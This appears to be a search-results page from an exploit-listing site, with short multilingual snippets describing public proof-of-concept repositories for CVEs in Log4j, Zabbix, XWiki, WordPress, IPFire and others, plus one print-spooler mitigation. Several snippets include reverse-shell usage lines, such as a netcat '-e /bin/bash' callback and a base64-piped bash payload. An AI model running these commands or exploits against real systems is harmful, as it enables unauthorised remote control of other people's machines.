627675 matches found
CVE-2021-44228_Log4Shell
Log4Shell脆弱性（CVE-2021-44228）の悪用デモ このプロジェクトは、Apache Log4j 2ライブラリのLog4Shell脆弱性を介したRCE攻撃シナリオをシミュレートします。 コンポーネント 1. vulnerable-app : Log4j 2.14.1を使用するSpring Bootアプリケーション。 2. attacker : 悪意のあるLDAPサーバー（marshalsec）と、悪意のあるコードファイルExploit.classを提供するHTTPサーバーを含みます。 実行方法 1. 環境の起動 DockerとDocker...
CVE-2024-22120-RCE-with-gopher
使用方法 root@kitploit: python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime シナリオ例 IP 192.168.1.100 で稼働している Zabbix サーバーを特定し、以下の詳細を持つ低権限ユーザーにアクセスできる状況を想定します。 セッションID sid: d82bf6715e1d3c1f25 ホストID hostid: 10107 PHP セッションID phpsessid: a4g7f48d9j3r7h8s9g このスクリプトを使用して RCE 脆弱性を悪用します。...
Variatype.htb-CVE-2025-66034
Hackthebox 第十赛季 - Variatype 此脚本将帮助你获得初始访问权限。 首先，使用 pip 安装所需模块 pip3 install -r requirements.txt 使用方法 python3 exploit.py 'id' 或 python3 exploit.py 'echo BASE64ENCODEDREVSHELL | base64 -d | bash'...
CVE-2019-9791
针对 Firefox 65.0 的 CVE-2019-9791 & CVE-2019-11708 漏洞利用链 适用于 Windows 64 位上的 Firefox 65.0。 CVE-2019-11708 部分取自 0vercl0k 的漏洞利用代码： https://github.com/0vercl0k/CVE-2019-11708 该漏洞利用使用 CVE-2019-9791 在内容进程中获取读写原语，随后使用 CVE-2019-11708 让主进程加载任意 URL。在父进程中再次使用 CVE-2019-9791 以获得任意代码执行。...
CVE-2020-1938
CVE-2020-1938-tomcat-descarga de archivos + inclusión de archivos Vulnerabilidad de lectura de archivos del protocolo Tomcat-Ajp Fuente del PoC original: https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC/blob/master/poc.py Después de modificar, puede incluir archivos y, bajo ciertas...
CVE-2025-4336
eMagicOne Store Manager for WooCommerce 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope ho...
PrintNightmare
Windows 打印后台处理程序服务 RCE CVE-2021-1675 PrintNightmare 如何禁用打印后台处理程序服务？ CMD 命令提示符 net start | findstr -i "spooler" net stop spooler REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start " /t REGDWORD /d "4" /f PowerShell Get-Service -Name Spooler Stop-Service -Name Spooler -Force...
IPFire_2.25_RCE_Authenticated
IPFire 2.25 远程代码执行（认证后） - CVE-2021-33393 此漏洞利用基于CVE-2021-33393（https://nvd.nist.gov/vuln/detail/CVE-2021-33393），并基于Mücahit Saratar（https://github.com/KaanaryOverFlow/ipfire-2-25-auth-rce）的原始漏洞利用构建，扩展了它以实现具有root权限的反向shell。 用法 启动监听器： nc -lvnp 4444 运行漏洞利用程序： python exploit.py https://192.168.0.10:44...
CVE-2024-53677-Docker
CVE-2024-53677 - Entorno de reproducción de la vulnerabilidad de ejecución remota de código RCE en Apache Struts 2 Este repositorio proporciona un entorno basado en Docker para reproducir la vulnerabilidad CVE-2024-53677 en Apache Struts 2. Esta vulnerabilidad implica un path traversal y permite ...
Adobe_ColdFusion_RCE_Unauthenticated
CVE-2023-26360 — Adobe ColdFusion の未認証RCE CVE-2023-26360 のリモートコード実行エクスプロイトの Python 実装です。元の Metasploit モジュール の解析と jakabakos の先行研究に基づいています。 なぜこれが存在するのか jakabakos の PoC は、 を直接 variables パラメーターに注入し、その出力を ColdFusion ログから一度に読み取ろうとします。しかし、ColdFusion はそのコンテキストで CFML タグをインライン評価しないため、このアプローチは失敗し、コード実行に至らず...
CVE-2024-36401-PoC
CVE-2024-36401-PoC Exploit de Prueba de Concepto para CVE-2024-36401 GeoServer Versiones vulnerables de GeoServer son anteriores a 2.23.6 | 2.24.4 | 2.25.2 !!! SOLO CON FINES DE PRUEBAS DE SEGURIDAD !!! NO USE ESTO EN SISTEMAS QUE NO POSEAS A MENOS QUE TENGAS PERMISO EXPRESO !!! Para ejecutar... ...
CVE-2023-43770-PoC
CVE-2023-43770-PoC CVE-2023-43770 の保存型 XSS 脆弱性の PoC 説明 Roundcube 1.4.14 未満、1.5.x の 1.5.4 未満、および 1.6.x の 1.6.3 未満では、program/lib/Roundcube/rcubestringreplacer.php の動作により、細工されたリンクを含む text/plain 形式の電子メールメッセージを介した XSS が可能になります。 攻撃チェーン 細工されたメール - 被害者がメールを受信し開封 - JavaScript の実行（保存型） PoC 動画:...
CVE-2021-43811
CVE-2021-43811 awslabs/sockeye Inyección de código mediante carga insegura de YAML CVE-2021-43811 Descripción de NVD Sockeye es un framework de secuencia a secuencia de código abierto para la traducción automática neuronal, construido sobre PyTorch. Sockeye utiliza YAML para almacenar las...
Erlang-OTP-PoC_CVE-2025-32433
Confusión de canales previo a la autenticación en Erlang/OTP SSH 📺 Video de Prueba de Concepto Descripción: Una demostración de la vulnerabilidad de Confusión de canales previo a la autenticación en Erlang/OTP SSH. Haga clic aquí para ver la demostración completa en YouTube Resumen ¿De qué trata...
Flowise-CVE-2025-58434-Chain-59528
FlowiseAI CVE チェーン - ATO CVE-2025-58434 および RCE CVE-2025-59528 ⚠️ 教育および許可されたセキュリティ研究のみを目的としています。 このツールを、自分が所有していない、または書面によるテスト許可がないシステムに対して実行することは違法 です。 目次 このリポジトリには、2つのFlowise脆弱性を連鎖させるPythonの概念実証コードが含まれています： CVE-2025-58434 — パスワードリセットトークンの露出によるアカウント乗っ取り CVE-2025-59528 —...
magento2-session-reaper-patch
Magento 2 Session Reaper パッチ CVE-2025-54236対応 CVE-2025-54236（通称 Session Reaper）のパッチです。この脆弱性は、特定の条件下で顧客アカウントの乗っ取りやRCEを引き起こします。このパッチは実際にはMagento 2の拡張機能であり、Magento 2.3および2.4にユニバーサル対応しています。Magentoのアップグレードができない場合や公式ホットフィックスを適用できない場合は、こちらをお試しください。 背景 CVSSスコア 9.1 CRITICAL 公式情報 2025年9月9日公開 ホットフィックス...
CVE-2025-24893
CVE-2025-24893 Exploit de ejecución remota de código para XWiki para versiones anteriores a 15.10.11, 16.4.1 y 16.5.0RC1. Uso root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Úsalo solo con fines éticos :...
CVE-2019-12725
CVE-2019-12725 CVE-2019-12725 Vulnerabilidad de ejecución remota de comandos en ZeroShell =================================================== Mi propio proyecto de práctica...
WordPress-RCE-CVE-2019-8942
WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943 認証済みWordPressの画像切り抜き（crop-image）エクスプロイトチェーンをPython3で実装しました。このリポジトリは、手動OSCPスタイルのスクリプトと、リバースシェルハンドラを内蔵した完全自動スクリプトの2つの独立したワークフローで構成されています。 認可されたラボ、CTF、トレーニングプラットフォーム、またはテストの明示的な許可があるシステムでのみ使用してください。 影響を受けるWordPressバージョン...